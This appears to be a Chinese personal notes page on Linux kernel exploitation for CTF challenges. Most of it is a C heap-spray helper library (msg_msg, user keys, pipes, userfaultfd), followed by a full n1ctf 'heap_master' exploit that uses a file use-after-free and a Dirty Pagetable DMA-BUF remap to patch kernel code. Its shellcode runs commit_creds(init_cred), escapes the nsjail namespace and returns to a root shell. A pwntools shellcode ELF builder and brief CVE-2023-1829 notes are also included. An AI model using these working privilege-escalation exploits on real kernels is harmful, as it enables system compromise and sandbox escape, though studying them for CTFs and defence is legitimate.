    req.tp_frame_nr = (block_size * block_nr) / frame_size;
    req.tp_retire_blk_tov = timeout;
    req.tp_sizeof_priv = sizeof_priv;
    req.tp_feature_req_word = 0;

    rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
    if (rv < 0) {
        die("setsockopt(PACKET_RX_RING): %m");
    }
}

int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
                        unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
    int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (s < 0) {
        die("socket(AF_PACKET): %m");
    }

    packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
                               sizeof_priv, timeout);

    struct sockaddr_ll sa;
    memset(&sa, 0, sizeof(sa));
    sa.sll_family = PF_PACKET;
    sa.sll_protocol = htons(ETH_P_ALL);
    sa.sll_ifindex = if_nametoindex("lo");
    sa.sll_hatype = 0;
    sa.sll_pkttype = 0;
    sa.sll_halen = 0;

    int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
    if (rv < 0) {
        die("bind(AF_PACKET): %m");
    }

    return s;
}

int pagealloc_pad(int size, int count) {
    return packet_socket_setup(size, 2048, count, 0, 100);
}

struct poll_list
{
    struct poll_list *next;
    int len;
    struct pollfd entries[];
};
#define ISO_SLAB_LIMIT 8
#define INITIAL_PAGE_SPRAY 500
typedef struct
{
    bool in_use;
    int idx[ISO_SLAB_LIMIT];
}full_page;

enum spray_cmd {
    ALLOC_PAGE,
    FREE_PAGE,
    EXIT_SPRAY,
};

int shmid[0x1000];
void *shmaddr[0x1000];
int rootfd[2];
int sprayfd_child[2];
int sprayfd_parent[2];
struct msg_msg {
  uint64_t m_list_next;
  uint64_t m_list_prev;
  uint64_t m_type;
  uint64_t m_ts;
  uint64_t next;
  uint64_t security;
};

struct msg_msgseg {
  uint64_t next;
};
struct {
  long mtype;
  char mtext[0x4000];
} msgbuf;
int msgqid[0x10000];
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
int add_msg(int msqid, const void *msgp, size_t msgsz) {
	if (msgsnd(msqid, msgp, msgsz, 0) < 0) {
		perror("[-] msgsnd");
    	return -1;
    }
    return 0;
}
void alloc_shm(int i) {
    shmid[i] = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0600);

    if (shmid[i] < 0) {
        perror("[X] shmget fail");
        exit(1);
    }

    shmaddr[i] = (void *)shmat(shmid[i], NULL, SHM_RDONLY);

    if (shmaddr[i] < 0) {
        perror("[X] shmat");
        exit(1);
    }
}
#define MSG_COPY 040000
#define IPC_NOWAIT 04000
int show_msg(int msqid, void *msgp,size_t msgsz,long msgtyp) {
    if (msgrcv(msqid, msgp, msgsz, msgtyp, MSG_COPY | IPC_NOWAIT) < 0) {
        perror("[-] msgrcv");
        return -1;
    }
    return 0;
}

int free_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {
    if (msgrcv(msqid, msgp, msgsz, msgtyp, 0) < 0) {
        perror("[-] msgrcv");
        return -1;
    }
    return 0;
}
int msg_get(){
    int pid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
    if(pid < 0){
        perror("msgget");
        return -1;
    }
    return pid;
}
void build_msg_msg(struct msg_msg *msg, uint64_t m_list_next,
                   uint64_t m_list_prev, uint64_t m_type,uint64_t m_ts, uint64_t next) {
  msg->m_list_next = m_list_next;
  msg->m_list_prev = m_list_prev;
  msg->m_type = m_type;
  msg->m_ts = m_ts;
  msg->next = next;
  msg->security = 0;
}
void build_msg(int num){
	for(int i = 0;i < num;i++){
		msgqid[i] = msg_get();
	}
}
int spray_sendmsg(char *buf,int size,int count){
    // char buf[size];
    struct msghdr msgh = {0};
    struct sockaddr_in addr = {0};
    int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    addr.sin_family = AF_INET;
    addr.sin_port = htons(6666);
    msgh.msg_control = buf;
    msgh.msg_controllen = size;
    msgh.msg_name = (caddr_t)&addr;
    msgh.msg_namelen = sizeof(addr);
    for(int i = 0;i < count;i++){
      sendmsg(sockfd, &msgh, 0);
    }
}
void errExit(char *msg) {
   puts(msg);
   _exit(-1);
}
void* userfault_handler(void *arg)
{
    struct uffd_msg msg;
    unsigned long uffd = (unsigned long)arg;
    struct pollfd pollfd;
    int nready;
    pollfd.fd     = uffd;
    pollfd.events = POLLIN;
    nready = poll(&pollfd, 1, -1);
    // TODO
    if (nready != 1)
      errExit("[-] Wrong pool return value");
    nready = read(uffd, &msg, sizeof(msg));
    if (nready <= 0) {
      errExit("[-]msg error!!");
    }
    char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (page == MAP_FAILED)
      errExit("[-]mmap page error!!");
    struct uffdio_copy uc;

    memset(page, 0, sizeof(page));//copy_from_user use this page
    *(uint64_t*)page = NULL;
    *(uint64_t*)(page+8) = NULL;
    *(uint64_t*)(page+8*2) = 1;
    *(uint64_t*)(page+8*3) = 0x1000-0x30;
    *(uint64_t*)(page+8*4) = NULL;
    *(uint64_t*)(page+8*5) = NULL;
    uc.src = (unsigned long)page;
    uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);;
    uc.len = PAGE_SIZE;
    uc.mode = 0;
    uc.copy = 0;

    ioctl(uffd, UFFDIO_COPY, &uc);
    return NULL;
}
void registerUserfault(void *fault_page,void *handler)
{
   pthread_t thr;
   struct uffdio_api ua;
   struct uffdio_register ur;
   uint64_t uffd  = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
   ua.api = UFFD_API;
   ua.features    = 0;
   if (ioctl(uffd, UFFDIO_API, &ua) == -1)
      errExit("[-] ioctl-UFFDIO_API");
 
   ur.range.start = (unsigned long)fault_page;
   ur.range.len   = PAGE_SIZE;
   ur.mode        = UFFDIO_REGISTER_MODE_MISSING;
   if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
      errExit("[-] ioctl-UFFDIO_REGISTER");
   int s = pthread_create(&thr, NULL,handler, (void*)uffd);
   if (s!=0)
      errExit("[-] pthread_create");
}
int check_root()
{
	int fd;
    
    if ((fd = open("/etc/shadow", O_RDONLY)) < 0)
        return 0;
        
    close(fd);
    
    return 1;
}
void win(void)
{
    if (check_root())
    {
        puts("[+] We are Ro0ot!");
        char *args[] = { "/bin/bash", "-i", NULL };
        execve(args[0], args, NULL);
    }
}
bool is_kernel_pointer(uint64_t addr)
{
    return ((addr & KERNEL_MASK) == KERNEL_MASK) ? true : false;
}


bool is_heap_pointer(uint64_t addr)
{
    return (((addr & HEAP_MASK) == HEAP_MASK) && !is_kernel_pointer(addr)) ? true : false;
}


void __pause(char *msg)
{
    printf("[-] Paused - %s\n", msg);
    getchar();
}
int randint(int min, int max)
{
    return min + (rand() % (max - min));
}


void assign_to_core(int core_id)
{
    cpu_set_t mask;

    CPU_ZERO(&mask);
    CPU_SET(core_id, &mask);

    if (sched_setaffinity(getpid(), sizeof(mask), &mask) < 0)
    {
        perror("[X] sched_setaffinity()");
        exit(1);
    }
}

void hexdump(unsigned char *buff, size_t size) {
    int i, j;

    for (i = 0; i < size / 8; i++) {
        if ((i % 2) == 0) {
            if (i != 0) printf("  \n");

            printf("  %04x  ", i * 8);
        }

        printf("0x%016lx", ((uint64_t *)(buff))[i]);
        printf("    ");
    }

    putchar('\n');
}

void assign_thread_to_core(int core_id)
{
    cpu_set_t mask;

    CPU_ZERO(&mask);
    CPU_SET(core_id, &mask);

    if (pthread_setaffinity_np(pthread_self(), sizeof(mask), &mask) < 0)
    {
        perror("[X] assign_thread_to_core_range()");
        exit(1);
    }
}


void init_fd(int i)
{
    fds[i] = open("/etc/passwd", O_RDONLY);

    if (fds[i] < 1)
    {
        perror("[X] init_fd()");
        exit(1);
    }
}


void *alloc_poll_list(void *args)
{
    struct pollfd *pfds;
    int nfds, timer, id;
    bool suspend;

    id    = ((struct t_args *)args)->id;
    nfds  = ((struct t_args *)args)->nfds;
    timer = ((struct t_args *)args)->timer;
    suspend = ((struct t_args *)args)->suspend;

    pfds = calloc(nfds, sizeof(struct pollfd));

    for (int i = 0; i < nfds; i++)
    {
        pfds[i].fd = fds[0];
        pfds[i].events = POLLERR;
    }

    assign_thread_to_core(0);

    pthread_mutex_lock(&mutex);
    poll_threads++;
    pthread_mutex_unlock(&mutex);

    debug("[Thread %d] Start polling...\n", id);
    int ret = poll(pfds, nfds, timer);
    debug("[Thread %d] Polling complete: %d!\n", id, ret);
    
    assign_thread_to_core(randint(1, 3));

    if (suspend)
    {   
        debug("[Thread %d] Suspending thread...\n", id);

        pthread_mutex_lock(&mutex);
        poll_threads--;
        pthread_mutex_unlock(&mutex);

        while (1) { };
    }
        
}


void create_poll_thread(int id, size_t size, int timer, bool suspend)
{
    struct t_args *args;

    args = calloc(1, sizeof(struct t_args));

    if (size > PAGE_SIZE)
        size = size - ((size/PAGE_SIZE) * sizeof(struct poll_list));

    args->id = id;
    args->nfds = NFDS(size);
    args->timer = timer;
    args->suspend = suspend;

    pthread_create(&poll_tid[id], 0, alloc_poll_list, (void *)args);
}


void join_poll_threads(void)
{
    for (int i = 0; i < poll_threads; i++)
    {
        pthread_join(poll_tid[i], NULL);
        // open("/proc/self/stat", O_RDONLY);
    }
        
    poll_threads = 0;
}
#define KEY_SPEC_PROCESS_KEYRING	-2	/* - key ID for process-specific keyring */
#define KEYCTL_UPDATE			2	/* update a key */
#define KEYCTL_REVOKE			3	/* revoke a key */
#define KEYCTL_UNLINK			9	/* unlink a key from a keyring */
#define KEYCTL_READ			11	/* read a key or keyring's contents */
int add_key(char *description, void *payload, size_t plen)
{
    return syscall(__NR_add_key, "user", description, payload, plen, 
                   KEY_SPEC_PROCESS_KEYRING);
}

int alloc_key(int id, char *buff, size_t size)
{
	char desc[256] = { 0 };
    char *payload;
    int key;

    size -= sizeof(struct user_key_payload);

    sprintf(desc, "payload_%d", id);

    payload = buff ? buff : calloc(1, size);

    if (!buff)
        memset(payload, id, size);    

    key = add_key(desc, payload, size);

    if (key < 0)
	{
		perror("[X] add_key()");
		return -1;
	}
    	
    return key;
}
int key_update(int keyid, void *payload, size_t plen)
{
    return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}
int keyctl_revoke(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}
int keyctl_unlink(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}

int free_key(int i)
{
    if(!keys[i]) puts("Invalid keys[i]");
	
    if(keyctl_revoke(keys[i]) < 0 || keyctl_unlink(keys[i]) < 0){
        // printf("keys[%d] ",i);
        perror("keyctl_revoke");
        return -1;
    }
	
    // n_keys--;
}


void free_all_keys(bool skip_corrupted_key)
{
    for (int i = 0; i < n_keys; i++)
    {   
        if (skip_corrupted_key && i == corrupted_key)
            continue;

        free_key(i);
    }

    sleep(1); // GC keys
}

int keyctl_read(int keyid, void *buffer, size_t buflen)
{
    return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}
char *get_key(int i, size_t size)
{
	char *data;

	data = calloc(1, size);
	if(keyctl_read(keys[i], data, size) < 0){
        perror("keyctl_read");
    }
    // printf("%s\n",data);
	return data;
}


void alloc_pipe_buff(int i)
{

    if (pipe(pipes[i]) < 0)
    {
        perror("[X] alloc_pipe_buff()");
        return;
    }
}

void change_pipe_buff_size(int i, size_t size){
    if(fcntl(pipes[i][1],F_SETPIPE_SZ,0x1000*(size/0x40)) < 0){
        perror("fcntl");
        return;
    }
}

void release_pipe_buff(int i)
{
    if (close(pipes[i][0]) < 0)
    {
        perror("[X] release_pipe_buff()");
        return;
    }

    if (close(pipes[i][1]) < 0)
    {
        perror("[X] release_pipe_buff()");
        return;
    }
}


void alloc_tty(int i)
{
    ptmx[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);

    if (ptmx[i] < 0)
    {
        perror("[X] alloc_tty()");
        exit(1);
    }
}


void free_tty(int i)
{
    close(ptmx[i]);
}


void alloc_seq_ops(int i)
{
    seq_ops[i] = open("/proc/self/stat", O_RDONLY);

    if (seq_ops[i] < 0)
    {
        perror("[X] spray_seq_ops()");
        exit(1);
    }
}


void free_seq_ops(int i)
{
    close(seq_ops[i]);
}


int leak_kernel_pointer(int kid)
{
    uint64_t *leak;
    char *key;

    key = get_key(kid, 0xfff0);
    leak = (uint64_t *)key;
    for (int i = 0; i < 0xfff0/sizeof(uint64_t); i++)
    {
        if (is_kernel_pointer(leak[i]) && (leak[i] & 0xfff) == 0xec0)
        {   
            logd("get kernel_base: 0x%llx",leak[i]);
            uint64_t kernel_base1 = leak[i] - 0x1246ec0;
            logi("get kernel_base: 0x%llx",kernel_base1);
            return kernel_base1,i;
        }
    }

    return -1;
}

int leak_heap_pointer(int kid)
{
    uint64_t *leak;
    char *key;

    key = get_key(kid, 0xfff0);
    // hexdump(key,0x100);
    leak = (uint64_t *)key;

    for (int i = 0; i < 0xfff0/sizeof(uint64_t); i++)
    {
        // if(is_heap_pointer(leak[i])){
        //     printf("heap_%d ==> 0x%llx\n",i,leak[i]);
        // }
        if (is_heap_pointer(leak[i]) && is_heap_pointer(leak[i + 1]) && is_heap_pointer(leak[i + 2]))
        {   
            target_object = leak[i] - (i + 1) * 0x8 - 0x10;
            logi("key_spray_heap_addr: %llx",target_object);
            return target_object;
        }
    }

    return -1;
}


int init_sk_buffer(int i){
    if (socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]) < 0) {
        perror("[-] socketpair");
        return -1;
    }
}

int alloc_sk_buffer(int i,char *buff,size_t size){
    if (write(ss[i][0], buff, size-0x140) < 0) {
        perror("[-] write");
        return -1;
    }
}

int show_skb_buff(int i,char *buff,size_t size) {
    if (read(ss[i][1], buff, size-0x140) < 0) {
        perror("[-] write");
        return -1;
    }
}
int splice_fd(int attack_fd,loff_t offset,int i){
    splice(attack_fd,&offset,pipes[i][1], NULL, 1, 0);
}

make shellcode elf

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
from pwn import *

context.arch = "amd64"
sc = shellcraft.sh()
# sc = asm(sc)
header = [
    0x7F,
    0x45,
    0x4C,
    0x46,
    0x02,
    0x01,
    0x01,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x02,
    0x00,
    0x3E,
    0x00,
    0x01,
    0x00,
    0x00,
    0x00,
    0x78,
    0x00,
    0x40,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x40,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x40,
    0x00,
    0x38,
    0x00,
    0x01,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x01,
    0x00,
    0x00,
    0x00,
    0x05,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x40,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x40,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x97,
    0x01,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x97,
    0x01,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x10,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
]
payload = bytes(header) + asm(shellcraft.cat("/flag"))
with open("./elf", "wb+") as f:
    f.write(bytes(payload))
for p in payload:
    print(hex(p), end=",")

脚本相关

ext2 文件解包

首先创建一个10块1M的ext2文件

1
sudo dd if=/dev/zero of=/home/ubuntu/download/pwn/zer0ctf/new_rootfs.ext2 bs=1M count=10

然后

1
2
3
4
5
6
7
8
mkdir core
mkdir core1
sudo mount -o loop rootfs.ext2 ./core # origin filesystem
sudo mount -o loop new_rootfs.ext2 ./core1 
sudo cp -a ./core/* ./core1/
sudo umount core1
sudo umount core
sudo mv new_rootfs.ext2 rootfs.ext2

pack.sh

1
2
#!/bin/bash
gcc $1 -o exp --static && find . | cpio -o --format=newc > ../rootfs.cpio && pushd ../ && ./run.sh && popd

unpack.sh

1
cpio -idmv < ../rootfs.cpio

gdb.sh

1
sudo gdb ./vmlinux -ex "target remote :1234"

QA

Q: if lsmod display that,how to get address?

https://nuc-1304629987.cos.ap-chongqing.myqcloud.com/image/image-20241030234157391.png

A:

1
cd /sys/module/flipper/sections && cat .data 

如果还是没有那就只能gef里面执行kmod获取地址,base极为mod的地址

https://nuc-1304629987.cos.ap-chongqing.myqcloud.com/image/image-20241030234430658.png

Q: when can use page allocate aka page fengshuii A: heap overflow (off by null| off by x| flip)

kernel题目

ebpf

https://github.com/chujDK/d3ctf2022-pwn-d3bpf-and-v2

qwbs8

1
2
3
git clone git://git.launchpad.net/~ubuntu-kernel/ubuntu/+source/linux/+git/focal
cd focal
git checkout Ubuntu-hwe-5.15-5.15.0-127.137_20.04.1

l3hctf kpid (pid uaf 的利用)

题目分析

0x69003

执行put_pid

https://nuc-1304629987.cos.ap-chongqing.myqcloud.com/image/image-20241101223021904.png

0x47001

申请pid

https://nuc-1304629987.cos.ap-chongqing.myqcloud.com/image/image-20241101223058611.png

0x58002

将pid号给用户态传递

https://nuc-1304629987.cos.ap-chongqing.myqcloud.com/image/image-20241101223107559.png

bug

m0ctf (file struct uaf的利用)

n1ctf kfile (file_struct uaf的利用)

n1ctf heap_master (独立cache的uaf,只能一次free 外加nsjail)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
#include "banzi.h"

int fd = -1;

int add(uint64_t index){
    uint64_t arg[0x1] = {index};
    ioctl(fd,0x1337,arg);
}

int del(uint64_t index){
    uint64_t arg[0x1] = {index};
    ioctl(fd,0x1338,arg);
}

int delete(uint64_t index){
    uint64_t arg[0x1] = {index};
    ioctl(fd,0x1339,arg);
}
uint64_t ga(uint64_t addr){
    return addr - 0xffffffff81000000 + kernel_base;
}

#define DMA_HEAP_IOCTL_ALLOC 0xc0184800
typedef unsigned long long u64;
typedef unsigned int u32;
struct dma_heap_allocation_data {
  u64 len;
  u32 fd;
  u32 fd_flags;
  u64 heap_flags;
};

static void win() {
  char buf[0x100];
  int fd = open("/dev/vda", O_RDONLY);
  if (fd < 0) {
    puts("[-] Lose...");
  } else {
    puts("[+] Win!");
    read(fd, buf, 0x100);
    write(1, buf, 0x100);
    puts("[+] Done");
  }
  exit(0);
}
uint64_t stop_chunk = 0x10 * (0x5 + 0x2);
uint64_t spray_chunk = 0x10 * (0xf);
uint64_t N_PAGESPRAY = 0x800;
// 0xffffffffc0203420
int poc(){
    set_cpu_affinity(0,getpid());
    save_state();
    // init_namespace();
    int filefds[0x1000];
    void *page_spray[0x1000];
    int uaffds[0x1000];
    uint64_t mmap_addr[0x100];
    char *buf = calloc(1,0x4000);
    char *buffer = calloc(1,0x4000);
    uint64_t *Data = buffer;
    int dmafd = creat("/dev/dma_heap/system", O_RDWR);
    if (dmafd == -1){
        perror("/dev/dma_heap/system");
        return -1;

    }
    fd = open("/dev/safenote",0);
    if(fd < 0){
        perror("open");
        return -1;
    }
    logd("init sk-buffers");
    for(int i = 0;i < 0x100;i++){
        init_sk_buffer(i);
    }
    for (int i = 0; i < N_PAGESPRAY; i++) {
        page_spray[i] = mmap((void*)(0xdead0000UL + i*0x10000UL),
                            0x8000, PROT_READ|PROT_WRITE,
                            MAP_ANONYMOUS|MAP_SHARED, -1, 0);
        if (page_spray[i] == MAP_FAILED) perror("mmap");
    }
    for(int i = 0;i < spray_chunk;i++){
        add(i);
    }

    for(int i = 0;i < stop_chunk;i++){
        del(i);
    }

    delete(stop_chunk);

    for(int i = stop_chunk + 1;i < spray_chunk;i++){
        del(i);
    }
    for(int i = 0;i < 0x100;i++){
        filefds[i] = open("/bin/nsjail",0);
        if(filefds[i] < 0){
            perror("open");
            return -1;
        }
    }
    __pause("debug");
    del(stop_chunk);
    for(int i = 0;i < 0x100;i++){
        uaffds[i] = open("/tmp/uaf",O_CREAT|O_RDWR,0666);
        if(uaffds[i] < 0){
            perror("open");
            return -1;
        }
        write(uaffds[i],"AAAAAA",6);
    }
    int found_fd = -1;
    for(int i = 0;i < 0x100;i++){
        if(write(filefds[i],"AAA",3) > 0){
            found_fd = filefds[i];
            logi("found filefd: %x",i);
            break;
        }
    }
    if(found_fd == -1){
        perror("try again");
        return -1;
    }

    for(int i = 0;i < 0x100;i++){
        close(uaffds[i]);
    }
    for(int i = 0;i < 0x100;i++){
        if(found_fd == filefds[i]){
            continue;
        }
        close(filefds[i]);
    }
    puts("[+] Allocating PTEs...");
    for (int i = 0; i < N_PAGESPRAY/2; i++)
        for (int j = 0; j < 8; j++)
        *(char*)(page_spray[i] + j*0x1000) = 'A' + j;
    int dma_buf_fd = -1;
    struct dma_heap_allocation_data data;
    data.len = 0x1000;
    data.fd_flags = O_RDWR;
    data.heap_flags = 0;
    data.fd = 0;
    if (ioctl(dmafd, DMA_HEAP_IOCTL_ALLOC, &data) < 0)
        perror("DMA_HEAP_IOCTL_ALLOC");
    printf("[+] dma_buf_fd: %d\n", dma_buf_fd = data.fd);
    // Allocate many PTEs (2)
    for (int i = N_PAGESPRAY/2; i < N_PAGESPRAY; i++)
        for (int j = 0; j < 8; j++)
        *(char*)(page_spray[i] + j*0x1000) = 'A' + j;
    for (int i = 0; i < 0x1000; i++)
        if (dup(found_fd) < 0)
            perror("dup");
    puts("[+] Searching for overlapping page...");
    // Search for page that overlaps with other physical page
    void *evil = NULL;
    for (int i = 0; i < N_PAGESPRAY; i++) {
        // We wrote 'H'(='A'+7) but if it changes the PTE overlaps with the file
        if (*(char*)(page_spray[i] + 7*0x1000) != 'A' + 7) { // +38h: f_count
            evil = page_spray[i] + 0x7000;
            printf("[+] Found overlapping page: %p\n", evil);
            break;
        }
    }
    if (evil == NULL) loge("target not found :(");

    // Place PTE entry for DMA buffer onto controllable PTE
    puts("[+] Remapping...");
    munmap(evil, 0x1000);
    void *dmabuf = mmap(evil, 0x1000, PROT_READ | PROT_WRITE,
                    MAP_SHARED | MAP_POPULATE, dma_buf_fd, 0);
    *(char*)dmabuf = '0';
     /**
   * Get physical AAR/AAW
   */
  // Corrupt physical address of DMA-BUF
    for (int i = 0; i < 0x1000; i++)
        if (dup(found_fd) < 0)
        loge("dup");
    printf("[+] DMA-BUF now points to PTE: 0x%016lx\n", *(size_t*)dmabuf);
    void *wwwbuf = NULL;
    *(size_t*)dmabuf = 0x800000000009c067;
    for (int i = 0; i < N_PAGESPRAY; i++) {
        if (page_spray[i] == evil) continue;
        if (*(size_t*)page_spray[i] > 0xffff) {
        wwwbuf = page_spray[i];
        printf("[+] Found victim page table: %p\n", wwwbuf);
        break;
        }
    }
    size_t phys_base = ((*(size_t*)wwwbuf) & ~0xfff) - 0x3a01000 - 0x3000;
    printf("[+] Physical kernel base address: 0x%016lx\n", phys_base);
     /**
   * Overwrite setxattr
   */
    puts("[+] Overwriting do_symlinkat...");
    size_t phys_func = phys_base + 0x42cc40;
    *(size_t*)dmabuf = (phys_func & ~0xfff) | 0x8000000000000067;
    char shellcode[] = {####SHELLCODE####};
    //ffffffff81192eb0
    //0x14011c6
    void *p;
    p = memmem(shellcode, sizeof(shellcode), "\x11\x11\x11\x11\x11\x11\x11\x11", 8);
    *(size_t*)p = getpid();
    p = memmem(shellcode, sizeof(shellcode), "\x22\x22\x22\x22\x22\x22\x22\x22", 8);
    *(size_t*)p = (size_t)&win;
    p = memmem(shellcode, sizeof(shellcode), "\x33\x33\x33\x33\x33\x33\x33\x33", 8);
    *(size_t*)p = user_cs;
    p = memmem(shellcode, sizeof(shellcode), "\x44\x44\x44\x44\x44\x44\x44\x44", 8);
    *(size_t*)p = user_rflags;
    p = memmem(shellcode, sizeof(shellcode), "\x55\x55\x55\x55\x55\x55\x55\x55", 8);
    *(size_t*)p = user_sp;
    p = memmem(shellcode, sizeof(shellcode), "\x66\x66\x66\x66\x66\x66\x66\x66", 8);
    *(size_t*)p = user_ss;

    memcpy(wwwbuf + (phys_func & 0xfff), shellcode, sizeof(shellcode));
    puts("[+] GO!GO!");
    __pause("debug");
    printf("%d\n", symlink("/jail/x", "/jail"));
    __pause("debug");
}


int main(){
    poc();
}

shellcode.s

0x828需要根据调试来确定

https://nuc-1304629987.cos.ap-chongqing.myqcloud.com/image/image-20241110064137706.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
init_cred         = 0x2a76b00
commit_creds      = 0x1c2670
find_task_by_vpid = 0x1b8fa0
init_nsproxy      = 0x2a768c0
switch_task_namespaces = 0x1c0ad0
init_fs                = 0x2bb5320
copy_fs_struct         = 0x45c0f0
kpti_bypass            = 0x14011c6

_start:
  endbr64
  call a
a:
  pop r15
  sub r15, 0x42cc49

  lea rdi, [r15 + init_cred]
  lea rax, [r15 + commit_creds]
  call rax



  mov edi, 1
  lea rax, [r15 + find_task_by_vpid]
  call rax

  mov rdi, rax
  lea rsi, [r15 + init_nsproxy]
  lea rax, [r15 + switch_task_namespaces]
  call rax

  lea rdi, [r15 + init_fs]
  lea rax, [r15 + copy_fs_struct]
  call rax
  mov rbx, rax

  mov rdi, 0x1111111111111111
  lea rax, [r15 + find_task_by_vpid]
  call rax

  mov [rax + 0x828], rbx

  xor eax, eax
  mov [rsp+0x00], rax
  mov [rsp+0x08], rax
  mov rax, 0x2222222222222222 
  mov [rsp+0x10], rax
  mov rax, 0x3333333333333333 
  mov [rsp+0x18], rax
  mov rax, 0x4444444444444444
  mov [rsp+0x20], rax
  mov rax, 0x5555555555555555
  mov [rsp+0x28], rax
  mov rax, 0x6666666666666666
  mov [rsp+0x30], rax
  lea rax, [r15 + kpti_bypass]
  jmp rax

  int3

realworld

CVE-2023-1829

环境搭建

1
wget https://launchpad.net/ubuntu/+archive/primary/+sourcefiles/linux/5.15.0-25.25/linux_5.15.0.orig.tar.gz

漏洞原理分析

patch文件分析

poc

参考链接

Breaking the Code - Exploiting and Examining CVE-2023-1829 in cls_tcindex Classifier Vulnerability

附录

punch hole可以达到和userfaultfd同等效果 可以提权(pop rdi;init_cred;commit_creds)以后通过vfork的方式顺利的返回用户态

参考链接

dirty_pageable

[Understanding Dirty Pagetable - m0leCon Finals 2023 CTF Writeup]

Linux 内核-如何获取虚拟地址对应的物理地址

cve-2022-0847-v2p